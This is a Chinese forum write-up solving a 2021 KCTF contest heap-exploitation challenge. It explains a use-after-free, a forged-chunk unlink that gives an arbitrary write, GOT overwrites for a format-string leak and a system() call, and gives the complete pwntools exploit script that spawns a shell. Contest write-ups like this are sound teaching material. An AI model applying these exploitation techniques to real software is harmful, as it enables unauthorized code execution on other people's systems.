首页
社区
课程
招聘
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱 WP
2021-5-26 20:42 15007

[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱 WP

2021-5-26 20:42
15007

本题自实现了堆的申请写释放。由于ollvm的原因,堆的管理部分代码比较整理,而且ollvm还加入了死循环,去ollvm有点困难,没有尝试,选择硬看了。

 

程序将堆大小限制在0x100以内。堆的申请和释放与我们所认识的有些类似,也有差别,算是简化实现版。有可以存放16种不同大小已释放的chunk地址,有topchunk,有1个双链表bin,有pre_used。结构上的不同在于:pre_used置位表示释放。在mallocfree的实现部分,大致检查与我们熟知的也差不太多。malloc时先会检查已释放的列表中有没有相同大小的已释放的chunk,同时也会检查该chunk是不是最后一个chunk,会检查双链表及其它有关size的一些检查,如果该chunk通过检查,则会有unlink的过程和pre_used位的修改,最终返回该chunk。free中也会有malloc的相同检查,还有pre_used位的检查,并且会排序将chunk的数据指针插入双链表中(似乎程序在这部分有些小BUG,不知是作者有意还是无意留的)。有这些了解,做题也基本够了。

 

首先此题比较明显的漏洞是UAF,释放堆后,并清除堆指针。这样就可以随便的修改已释放的chunk数据区。如果能伪造chunk插入到双链表中,通过malloc部分的unlink,则能把某地址写到bss区存储已申请的堆地址的部分,从而可以修改这部分的堆指针,实现任意地址写。

 

注意到memset的buf是上一个留下的choice,通过任意地址写,把memset指向printf的plt表,memset就成了printf。然后人为构造格式化字符串,就可以leak了。leak时附近正好有alarm的地址指针,就选择leakalarm地址,之后计算得到system的地址,再把strtol地址改写成system的地址,然后就可以get shell了。

 

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import sys
 
context.arch="aarch64"
context.log_level="debug"
def cmd(s):
  p.sendlineafter(": ",str(s))
 
def add(size,note):
  cmd(1)
  cmd(size)
  p.sendafter(": ",note)
 
def delete(index):
  cmd(2)
  cmd(index)
 
def edit(index,note):
  cmd(3)
  cmd(index)
  p.sendafter(": ",note)
 
if len(sys.argv)>=2:
  p=process("qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/  ./main",shell=True)
else:
   p=process("qemu-aarch64  -L /usr/aarch64-linux-gnu/  ./main",shell=True)
#p=remote("121.36.145.157",55555)
add(0x20,"aaaa")
add(0x20,"aaaa")
add(0x30,"aaaa")
for i in range(9):
  delete(2)
  add(0x30,"aaaa")
 
add(0x30,"aaaa")
add(0x40,"aaaa")
 
 
#0x18->0x30
#0x20->0x30
#0x28->0x40
delete(1)
delete(2)
delete(12)
edit(1,p64(0x4161a0)+p64(0x4161b8))
edit(2,p64(0x4161b8))
 
add(0x20,"111")
edit(0,p64(0x4161c0)+p64(0x4161c0))
add(0x20,p64(0x4160ac+4)+p64(0x00416040)+p64(0x416018))
edit(1,p64(0xf0000000f0))
 
edit(3,p64(0x0400850))
p.sendlineafter(": ","aaaaaaaa%10$llx%11$llx%12$saaaaa"+p64(0x416060))
p.recvuntil("choice: ")
p.recv(0x28)
system=u64(p.recv(6)+"\x00\x00")-0x000000000009cdb0+0x03dda8
print hex(system)
p.sendline(str(3))
cmd(2)
p.sendafter(": ",p64(system)[:6])
p.sendline("/bin/sh;")
p.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回